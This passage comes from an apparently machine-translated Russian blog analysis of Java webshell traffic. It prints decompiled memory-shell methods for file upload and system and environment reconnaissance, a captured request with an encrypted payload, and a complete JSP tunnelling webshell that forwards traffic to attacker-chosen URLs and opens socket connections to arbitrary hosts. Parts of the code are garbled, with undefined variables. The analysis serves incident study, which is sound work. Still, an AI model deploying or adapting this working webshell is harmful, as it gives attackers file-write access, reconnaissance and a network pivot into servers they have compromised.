PrintStream var3 = new PrintStream(var2);
var19.printStackTrace(var3);
var3.flush();
var3.close(); return var2.toByteArray();
}
}
getByteArray
public byte[] getByteArray(String var1) { try { return (byte[])this.parameterMap.get(var1);
} catch (Exception var2) { return null;
}
} //Получаем параметры в параметреMap, метод вызова, переданный выше
Equals перезаписывается так, чтобы параметр не был пустым, а дескриптор вызывается для var1
public boolean equals(Object var1) { return var1 != null && this.handle(var1);
}//var1 Когда оно не пусто,
public boolean handle(Object var1) { if (var1 == null) { return false;
} else { //Судья var1 Это класс byteArrayoutputStream. Если да, выведите результат?
if (ByteArrayOutputStream.class.isInstance(var1)) {
this.outputStream = (ByteArrayOutputStream)var1; //Оцениваем, является ли это массивом байтов, если да, то назначаем requestData
} else if (byte[].class.isInstance(var1)) {
this.requestData = (byte[])var1;
} else if (this.supportClass(var1, ".servlet.http.HttpServletRequest")) {
this.servletRequest = var1;
} return false;
}
}//var2 servlet.http.httpServletReuest//var1
private boolean supportClass(Object var1, String var2) { if (var1 == null) { return false;
} else { boolean var3 = false; Class var4 = null; try { try {
var4 = Class.forName("javax" + var2, true, var1.getClass().getClassLoader());
} catch (Exception var5) {
var4 = Class.forName("jakarta" + var2, true, var1.getClass().getClassLoader());
}
} catch (Exception var6) {
} if (var4 != null && var4.isInstance(var1)) {
var3 = true;
} return var3;
}
}
Десериализация
public HashMap deserialize(byte[] var1, boolean gzipFlag) {
HashMap var3 = new HashMap();
ByteArrayInputStream var4 = new ByteArrayInputStream(var1);
ByteArrayOutputStream var5 = new ByteArrayOutputStream();
byte[] var6 = new byte[4];//для gzipFlag Определите, использует ли конвекция шифрование и дешифрование GZIP.
try { Object var7 = var4; if (gzipFlag) {
var7 = new GZIPInputStream(var4);
} while(true) {
byte var8 = (byte)((InputStream)var7).read(); if (var8 == -1) { break;
} if (var8 == 1) {
((InputStream)var7).read(var6); int var9 = bytesToInt(var6); String var10 = var5.toString();
var3.put(var10, this.deserialize(this.readInputStream((InputStream)var7, var9), false));
var5.reset();
} else if (var8 == 2) {
((InputStream)var7).read(var6); int var12 = bytesToInt(var6); String var13 = var5.toString();
var3.put(var13, this.readInputStream((InputStream)var7, var12));
var5.reset();
} else {
var5.write(var8);
}
}
} catch (Exception var11) {
} return var3;
}
сериализация
public byte[] serialize(Map var1) { Iterator var2 = var1.keySet().iterator();
ByteArrayOutputStream var3 = new ByteArrayOutputStream(); while(var2.hasNext()) { try { String var4 = (String)var2.next(); Object var5 = var1.get(var4);
var3.write(var4.getBytes());
byte[] var6; if (var5 instanceof byte[]) {
var3.write(2);
var6 = (byte[])var5;
} else if (var5 instanceof Map) {
var3.write(1);
var6 = this.serialize((Map)var5);
} else {
var3.write(2); if (var5 == null) {
var6 = "NULL".getBytes();
} else {
var6 = var5.toString().getBytes();
}
}
var3.write(intToBytes(var6.length));
var3.write(var6);
} catch (Exception var7) {
}
} return var3.toByteArray();
}
Переписано в String
public String toString() { if (this.outputStream != null && this.requestData != null) { try {
this.parameterMap = this.deserialize(this.requestData, true); String var1 = this.sessionId(); if (var1 != null) {
this.session = (Map)sessionMap.get(var1);
}//имя метода — это имя функции, с которой мы взаимодействуем в памяти
String var2 = this.get("methodName"); if (var2 == null || this.session == null && !"test".equals(var2)) { return super.toString();
}
GZIPOutputStream var3 = new GZIPOutputStream(this.outputStream);
byte[] var4 = this.run();
var3.write(var4);
var3.close();
this.outputStream.close();
this.parameterMap = null;
this.requestData = null;
this.outputStream = null;
this.servletRequest = null;
this.session = null;
} catch (Throwable var5) {
}
} return super.toString();
}
закрыть закрытие сессии
public byte[] close() { try { String var1 = this.sessionId(); String var2 = this.get("operation"); if (var1 != null) {
Map var7 = (Map)sessionMap.remove(var1);
var7.put("alive", Boolean.FALSE); return "ok".getBytes();
} else if (var2 != null && "clearup".equals(var2)) { for(Object var4 : sessionMap.values()) { if (Map.class.isInstance(var4)) {
((Map)var4).put("alive", Boolean.FALSE);
}
}
sessionMap.clear(); return "ok".getBytes();
} else { return "fail".getBytes();
}
} catch (Exception var6) { return var6.getMessage().getBytes();
}
}
uploadFIle, параметры были изменены и их стало легче понять.
public byte[] uploadFile() { String filepath = this.get("fileName");
byte[] fileValues = this.getByteArray("fileValue"); if (var1 != null && var2 != null) { try {
File file = new File(filepath);
file.createNewFile();
FileOutputStream fileOutputStream = new FileOutputStream(file);
fileOutputStream.write(fileValues);
fileOutputStream.close(); return "ok".getBytes();
} catch (Exception var5) { return var5.getMessage().getBytes();
}
} else { return "No parameter fileName and fileValue".getBytes();
}
}
getBasicsINfo Получает информацию о текущей среде.
public byte[] getBasicsInfo() { String var1 = ""; try {
Enumeration var2 = System.getProperties().keys();
var1 = var1 + "FileRoot : " + this.listFileRoot() + "\n";
var1 = var1 + "CurrentDir : " + new File("").getAbsoluteFile() + "/" + "\n";
var1 = var1 + "CurrentUser : " + System.getProperty("user.name") + "\n";
var1 = var1 + "ProcessArch : " + System.getProperty("sun.arch.data.model") + "\n"; try { String var16 = System.getProperty("java.io.tmpdir");
char var4 = var16.charAt(var16.length() - 1); if (var4 != '\\' && var4 != '/') {
var16 = var16 + File.separator;
}
var1 = var1 + "TempDirectory : " + var16 + "\n";
} catch (Exception var7) {
}
var1 = var1 + "RealFile : " + this.getRealPath() + "\n"; try {
var1 = var1
+ "OsInfo : os.name: "
+ System.getProperty("os.name")
+ " os.version: "
+ System.getProperty("os.version")
+ " os.arch: "
+ System.getProperty("os.arch")
+ "\n";
} catch (Exception var6) {
var1 = var1 + "OsInfo : " + var6.getMessage() + "\n";
} String var17; for(var1 = var1 + "IPList : " + getLocalIPList() + "\n"; var2.hasMoreElements(); var1 = var1 + var17 + " : " + System.getProperty(var17) + "\n") {
var17 = (String)var2.nextElement();
}
Map var18 = this.getEnv(); if (var18 != null) { for(String var19 : var18.keySet()) {
var1 = var1 + var19 + " : " + var18.get(var19) + "\n";
}
} return var1.getBytes();
} catch (Exception var8) {
StringBuffer var3 = new StringBuffer();
var3.append(var1);
var3.append("Exception errMsg:");
var3.append(var8.getMessage()); return var3.toString().getBytes();
}
}
В пакете данных были обнаружены относительно большие объемы данных.
POST /ncupload/config.jsp HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Cookie: JSESSIONID=9591F786236B86A2FD02F136EDA38C6B.server
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host:
/*
* Совет: Эта строка кода слишком длинная, и система автоматически комментирует ее, не выделяя. Один клик копировать удалит системные комментарии
* Content-Length: 6096{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"32a85e76c20073540fef1ce1ee320f50ae0ff737d7ed26e6a85da18aad02f435bc8518d11b1e9030f4be2e0b3af6a17b87b423600fada476b6400c826cbb29c8759449da755f460961a6996fafc2e7d0633389636aaa4d316cb6f4c2b05b3cbc482b600171952a15d416a565a9dd8cc8ab155646f51efde3f249cee568dd767eccfa3521d11b7ea0cb5939e3ed36e87b6b29a7fa4fbc90a8b99b6061aef5c2e7af82b947ad15df47b32139dabd03d0cc2487f11565dbe1c1cf1f6bd0e1bba680a3573135fb1459f0db7fbe78d79f31bfea595630af5e31f5d31e61ab8f959547ab0e4cdae1db0febcbb086077cff5bfa0cb6e4ec30ac9a2c59983aaf0e9025b975b1e749a4776bc1c63279e3190d430704d097ce3737a3f435b60da0c949e4f2fe3aad6dca3adc574fbef52d17893a7ed6055f6aac133e50738b9ad164fe7e9df8f45d8db67861345962782162eda63e96f815007397ff9f629736639f896ec929ff6d586c4f8c5d349e06ef5196cb525f786dafa9d98a37eac395852d7d4e06e146c83059161369bcad803b424203da730157ec11336b0871d927f194fc65936e0471e9571cd7308371ebcd0ed0ba4b9929fc0309025605db8bc22637a1a86dcfce4e89ee0e58f8aea28cd39bcaff1bda3b1fb52285186e406058e78548e21a37ccc2d60d0d75a73911b73ba1d70805eb63e5cc056e01c0d3ccd5b58d8e7ffed52f6a7c7b3670b7d1c8e739ab47b50a532874217e3ce1a52495f0f5953d740e6422c09360fb838a80513343ba1130d1eb3d68e8c125add9368e891ca3fe196ac30e8e3c7de85ecb4e0ccb5c16e35bb0d8acf90b74861cdcb5fb6f2d63a45875b03ed825fa64abf719b540180beb16729dd83d89296da542a716ece2434f2790ce7f478dc59834d7b854d570cf95185b0a4ca186432f16a1f14f259b4a5e80c5db23083640e09fd9f3d8162d30fbf6b1a88ffb158c8ab1628ef6c6d7d35188b796dd07d7bd0f92d316c243e744fe16567ea64937df3f037ed0920aee1cdc0ecccb60a35a095feff50ea74ea51539d2e5306b8a06b9cd144d49da59becf2f875d7b833f9e8c9293b015a8e69903b93e6f17c9e1c43b25e7d940d47c3fb8d289053db59c45cb2eff8d7c8be617d2c06ad1bd93f5cf9f74d4988148e05da68db648e47897c75c3b8962ba61c44bf4a408fe8104ffb032ebba5e7f04eae6b9629d324a2ebf42bc2eccea1f38eb97fb9627932a6ba624b32e92a80c0c9e12edb610644b618ed91f2dd5ebef37d50c628127338671daa80995ee630095bd2d46c83cbe323adce50da5d62c807994787d2d1c18f223840aa5e8f1c3225e275a26d16ca97f72cde36fb6653574f614a16e8596fca46caafe26c7d87d082234c9a4394ebc0354c086f9ac1a54d79204a13cb6e31388be8f3accd90a69fc05309f6807a83cd331e86a074325cfb81b436fa66972c1f272159fc896fa6bc132a261e4b1983876f3649da62cb04ad88674c2e01d4cb8fc865ffbd97cb52b623c4e4558cabe7ba7321850c4fca9c0a767f3afa8a1b74cff37635ed24e2c926ccdd4acce0e6eb2f7de8084036d8654b7e8923e03a5d119cb31fd076b246a62dbb8d2171fc36d683a358e35aa9173e83118def9f58e7205058b2f97cc81d29a0dce1bd1134c8afadda693f595b854d1745d0dec97a72ad09dfba993479bd1648a2d6674dcb51ea60027ea7003418ce39643f005b3f0a3ac717413e3f6e38870e24404712dd2b91a5c1eda973f54880c8b849445e054a99cbf8ec5fdebbee4bebacedba3425b3f7a3f78c6b6fb78b3b3e5a4ff8dd5db8f57cfb38024bfce90147c3340129bf6e0ccb578fe4fc3c7e52ca1e5606711d256c3e4ea01fb5a92fdb310ada833a8839c81fe1b4309a0fc13d661c06b95999812f1ac2eefb032dc8b1a54868e33ac30cfd77c4ce660f97192596b7988dca08ce24e96007a4e9c8d5c2f456cfe8430930e1ad4e78101260a51c35aaa188e4d1ecd1281728b59cf14053bf732a6cd167478e8d42753c9cea3739dea6c371d7a8a038dbb0d44e3890b40bf575ad674c96df09ba72ea3d81a59b495b1381615f063cbf7277069ae20366dc2f8a5efe63fd639590821a3a88007cdca540d0f6d847702e52ea8cbcf0a5cf56edb9e5d164debdb393ab2b26abef14f6d09cbb0bad56d10e38df1bcea0efa681fa7fd80a42590677a60c54fcc52081ed90d70be050920b17a9a6d8835293bb1bfebf9c5a24d8ccb46d319084081cc3529f3184fc43709907a808cb21597570df3a9fa5f1c0afa0d7fb42c4097ef43db533117b13800d4f8bf9e211046598afff48e89f10f4eab805836ccf4cca6e7d121b278c4b85b182012b20d560df094bb6530902ade5742406337855a2fbcc37ef73c85626f9ab49468f8d2117d0dfc890009b9e75a8a43f66e98706937c6649899acf3634756d1263085930e3e8fa4eabf323fa06021b640eedc99881671960ed3dffe68ee9016c6d79968a6a8a2498a740a362a1f58070bfb0cbcf45721a50fe18cc923a25445b9daca0e762bed46c21ccfb99ea4792bd4570c7a94d6b207077aaa455f584f3a7c99c0f35233a4ff629b31e385972d4e3f8faa9831219de17a8de763e6d0c6028045d61eb287e6034d8ccbdf143dab6156d8579f4812b784d794bb6d651c6fda18337306b406eacca9ac07c35455b18edef5b9c5720b2e0b97efddd90f94891e340d23f677664949edc64f12e445996eb9762581b98487d52a5715778752641db9a80cad992ba9a23dcc27e13aac9a67e9a5a9781f8dda8202eb6020d8c7dd501b3c66e53d117e2b8b71e6f64f6be71ace17f548fde712ed98603d4193cb4c637a66d4b666e78e3c5f43423d36956a1a94363885dd5e6b08cb85e92ca9965e6fd5a8696995dcd89aac3667b7d4a0f04fb40643342ab8c6baf6b13f85a6e088d8f2a29485b31acee691e348e48db962ae5465e509589b2f3279bb4b4b624bd9567828f01dd80f18584d9f80fcae542b769aad985e7c872b87dd0274270bc2a43de8568b0ba40ed1c9e8555a7c73e7a0f66dbaac8ed902808dbb5bcdf3e2cbf737684d9ae1091dbb3075da90b026ef1475b53d82cdd48bcc2cee0ed53e37e89ab96c3eb7a2db9b520187e05b7695c28f70b6a26ac8c3d620f9d512c3ce0fdfdc7614f4a6066d1af1ef4160db16251d00a87a3fe1d97762371ed76d0993c6fd3047033c48841df3580db4842053a208edee9aec14c4f0d6167fbbc1d7d1e27db0df961c149e569820d3a5b054047ea8c8c0fb3f0a02a4159e381e88dc80be44f29b7d81d225bc532f2ae7612567b2b0e6d98ac12f2dc1d468579ebe2691f8fb7909372fcee0edf636105b6e739636979838e67c7259b3e60bcd8c33ca6b813b181e92e28891f4a10c5b0307de3154ef976b90b6e9cb7da1df481d15594f182db9dc040dc92aea5f0866205320a00056367163edb541cd4c9c69cfda046c79e07a5353e7ccb7fa7ca30d8f70c884905a7e380acfc4b87cd776312a0c03b8ca7563d732fe60e1660d5393bff054171a6f2cfe0a944009c66a20e8c134e115d5c2c41a85f24523cfb30900304162589db0b4c3bdb77102c28f8e01d780baabf74d4e3c0495c530dc12a2432b7e23ac20435fe828298b7a98a182dc24bd6d380f8605f110040d0e68c9601d4db46e4aa50326e50553a6ea0dd06864790edf6e0019db88cb0bb3e047f8b34de42adc9fc9914cbcaa272bc224200ac5f5bbe77d2affdf90eb518f00d0e28efd124d5f9c13b02c9ced7d869ccf226a304aeaeee19515852039e52691117a44c75e9f4cbb0a08aae885f37b15599d636cca01821f0f8b1e1d5c96c31bf94a7b97c138c97f46c87e0f031480a21ed1c54ebe2e8a2d75e8261db357d16a97c8d48817cdfa68b6319e5dae23576103e93af792cc8e2501c0cdf0fe7bdbf98878a3e2c2f44c9bb022a24db998d404d3d2d745a8a5bf02983040f1896cbb8b46cc2b593d27f88b07e8de6aaa5f66742d67c8865a674d640489d11024fc1c31cbccd8c82a731e52b37496afa2b3bc84b737f0543ce5fa3beea789438e458d8ab67259249446f3925c03f91902f8198de4bf439ce068aa251e96d2bedbeae58196fd99dd770cee242403b7180a0be2538483a3285a5c2adc365158ec0911705438acae119c658eac193af640bb5e22f7f4cd7df6e3392da2b7ca28e5078b"}HTTP/1.1 200 OK
*/
Server: Apache-Coyote/1.1X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Type: application/json;charset=UTF-8Content-Length: 254Date: Wed, 27 Jul 2022 10:14:51 GMT
Connection: close
{"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ0aeP7q4n2hcmk9QMbFy6mhJVhe6uJw==","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}}
В пакете данных вышеуказанные данные расшифровываются.
Разрешенный jsp,Решенный код То есть последующие windowsConfig.jsp,Этот троянец показывает свои ноги,Наконец нас взяли в плен.
<%@page import="java.nio.ByteBuffer, java.nio.channels.SocketChannel, java.io.*, java.net.*, java.util.*" pageEncoding="UTF-8" trimDirectiveWhitespaces="true"%>
<%! private static char[] en = "CE0XgUOIQFsw1tcy+H95alrukYfdznxZR8PJo2qbh4pe6/VDKijTL3v7BAmGMSNW".toCharArray(); public static String b64en(byte[] data) {
StringBuffer sb = new StringBuffer(); int len = data.length; int i = 0; int b1, b2, b3; while (i < len) {
b1 = data[i++] & 0xff; if (i == len) {
sb.append(en[b1 >>> 2]);
sb.append(en[(b1 & 0x3) << 4]);
sb.append("=="); break;
}
b2 = data[i++] & 0xff; if (i == len) {
sb.append(en[b1 >>> 2]);
sb.append(en[((b1 & 0x03) << 4)
| ((b2 & 0xf0) >>> 4)]);
sb.append(en[(b2 & 0x0f) << 2]);
sb.append("="); break;
}
b3 = data[i++] & 0xff;
sb.append(en[b1 >>> 2]);
sb.append(en[((b1 & 0x03) << 4)
| ((b2 & 0xf0) >>> 4)]);
sb.append(en[((b2 & 0x0f) << 2)
| ((b3 & 0xc0) >>> 6)]);
sb.append(en[b3 & 0x3f]);
} return sb.toString();
} private static byte[] de = new byte[] {-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,16,-1,-1,-1,45,2,12,37,53,41,19,44,55,33,18,-1,-1,-1,-1,-1,-1,-1,57,56,0,47,1,9,59,17,7,35,48,52,60,62,6,34,8,32,61,51,5,46,63,3,25,31,-1,-1,-1,-1,-1,-1,20,39,14,27,43,26,4,40,49,50,24,21,58,29,36,42,38,22,10,13,23,54,11,30,15,28,-1,-1,-1,-1,-1}; public static byte[] b64de(String str) {
byte[] data = str.getBytes(); int len = data.length;
ByteArrayOutputStream buf = new ByteArrayOutputStream(len); int i = 0; int b1, b2, b3, b4; while (i < len) { do {
b1 = de[data[i++]];
} while (i < len && b1 == -1); if (b1 == -1) { break;
} do {
b2 = de[data[i++]];
} while (i < len && b2 == -1); if (b2 == -1) { break;
}
buf.write((int) ((b1 << 2) | ((b2 & 0x30) >>> 4))); do {
b3 = data[i++]; if (b3 == 61) { return buf.toByteArray();
}
b3 = de[b3];
} while (i < len && b3 == -1); if (b3 == -1) { break;
}
buf.write((int) (((b2 & 0x0f) << 4) | ((b3 & 0x3c) >>> 2))); do {
b4 = data[i++]; if (b4 == 61) { return buf.toByteArray();
}
b4 = de[b4];
} while (i < len && b4 == -1); if (b4 == -1) { break;
}
buf.write((int) (((b3 & 0x03) << 6) | b4));
} return buf.toByteArray();
} static String headerkey(String str) throws Exception { String out = ""; for (String block: str.split("-")) {
out += block.substring(0, 1).toUpperCase() + block.substring(1);
out += "-";
} return out.substring(0, out.length() - 1);
} boolean islocal(String url) throws Exception { String ip = (new URL(url)).getHost();
Enumeration nifs = NetworkInterface.getNetworkInterfaces(); while (nifs.hasMoreElements()) {
NetworkInterface nif = nifs.nextElement();
Enumeration addresses = nif.getInetAddresses(); while (addresses.hasMoreElements()) {
InetAddress addr = addresses.nextElement(); if (addr instanceof Inet4Address) if (addr.getHostAddress().equals(ip)) return true;
}
} return false;
}
%>
<% String rUrl = request.getHeader("Mueytrthxaatjpsb"); if (rUrl != null) {
rUrl = new String(b64de(rUrl)); if (!islocal(rUrl)){
response.reset(); String method = request.getMethod();
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod(method);
conn.setDoOutput(true); // conn.setConnectTimeout(200);
// conn.setReadTimeout(200);
Enumeration enu = request.getHeaderNames(); List keys = Collections.list(enu);
Collections.reverse(keys); for (String key : keys){ if (!key.equalsIgnoreCase("Mueytrthxaatjpsb")){ String value=request.getHeader(key);
conn.setRequestProperty(headerkey(key), value);
}
} int i;
byte[] buffer = new byte[1024]; if (request.getContentLength() != -1){
OutputStream output; try{
output = conn.getOutputStream();
}catch(Exception e){
response.setHeader("Die", "C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV"); return;
}
ServletInputStream inputStream = request.getInputStream(); while ((i = inputStream.read(buffer)) != -1) {
output.write(buffer, 0, i);
}
output.flush();
output.close();
} for (String key : conn.getHeaderFields().keySet()) { if (key != null && !key.equalsIgnoreCase("Content-Length") && !key.equalsIgnoreCase("Transfer-Encoding")){ String value = conn.getHeaderField(key);
response.setHeader(key, value);
}
}
InputStream hin; if (conn.getResponseCode() < HttpURLConnection.HTTP_BAD_REQUEST) {
hin = conn.getInputStream();
} else {
hin = conn.getErrorStream(); if (hin == null){
response.setStatus(200); return;
}
}
ByteArrayOutputStream baos = new ByteArrayOutputStream(); while ((i = hin.read(buffer)) != -1) {
byte[] data = new byte[i];
System.arraycopy(buffer, 0, data, 0, i);
baos.write(data);
} String responseBody = new String(baos.toByteArray());
response.addHeader("Content-Length", Integer.toString(responseBody.length()));
response.setStatus(conn.getResponseCode());
out.write(responseBody);
out.flush(); if ( true ) return; // exit
}
}
response.resetBuffer();
response.setStatus(200); String cmd = request.getHeader("Ffydhndmhhl"); if (cmd != null) { String mark = cmd.substring(0,22);
cmd = cmd.substring(22);
response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); if (cmd.compareTo("b5v9XJbF") == 0) { try { String[] target_ary = new String(b64de(request.getHeader("Nnpo"))).split("\\|"); String target = target_ary[0]; int port = Integer.parseInt(target_ary[1]);
SocketChannel socketChannel = SocketChannel.open();
socketChannel.connect(new InetSocketAddress(target, port));
socketChannel.configureBlocking(false);
application.setAttribute(mark, socketChannel);
response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
} catch (Exception e) {
response.setHeader("Die", "k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO");
response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
}
} else if (cmd.compareTo("0FX") == 0) {
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try{
socketChannel.socket().close();
} catch (Exception e) {
}
application.removeAttribute(mark);
} else if (cmd.compareTo("TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql") == 0){
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try{
ByteBuffer buf = ByteBuffer.allocate(513); int bytesRead = socketChannel.read(buf); int maxRead = 524288; int readLen = 0; while (bytesRead > 0){
byte[] data = new byte[bytesRead];
System.arraycopy(buf.array(), 0, data, 0, bytesRead);
out.write(b64en(data));
out.flush();
((java.nio.Buffer)buf).clear();
readLen += bytesRead; if (bytesRead < 513 || readLen >= maxRead) break;
bytesRead = socketChannel.read(buf);
}
response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
} catch (Exception e) {
response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
}
} else if (cmd.compareTo("CtWP7tBSKiDnysT9hP9pa") == 0){
SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try { String inputData = "";
InputStream in = request.getInputStream(); while ( true ){
byte[] buff = new byte[in.available()]; if (in.read(buff) == -1) break;
inputData += new String(buff);
}
byte[] base64 = b64de(inputData);
ByteBuffer buf = ByteBuffer.allocate(base64.length);
buf.put(base64);
buf.flip(); while(buf.hasRemaining())
socketChannel.write(buf);
response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");
} catch (Exception e) {
response.setHeader("Die", "QmPrA86mT15");
response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");
socketChannel.socket().close();
}
}
} else {
out.write("");
}
%>
В этой статье мы грубо смоделировали процесс проникновения трояна, построили локальную среду и написали скрипты шифрования и дешифрования, которые могут временно шифровать и расшифровывать наши пакеты трафика. В следующей статье мы кратко проанализировали каждую функцию. будет подробно написано.
Поскольку статья слишком длинная, она временно разделена на две статьи, подождите (2)
Поделитесь с первым, кто придет в голову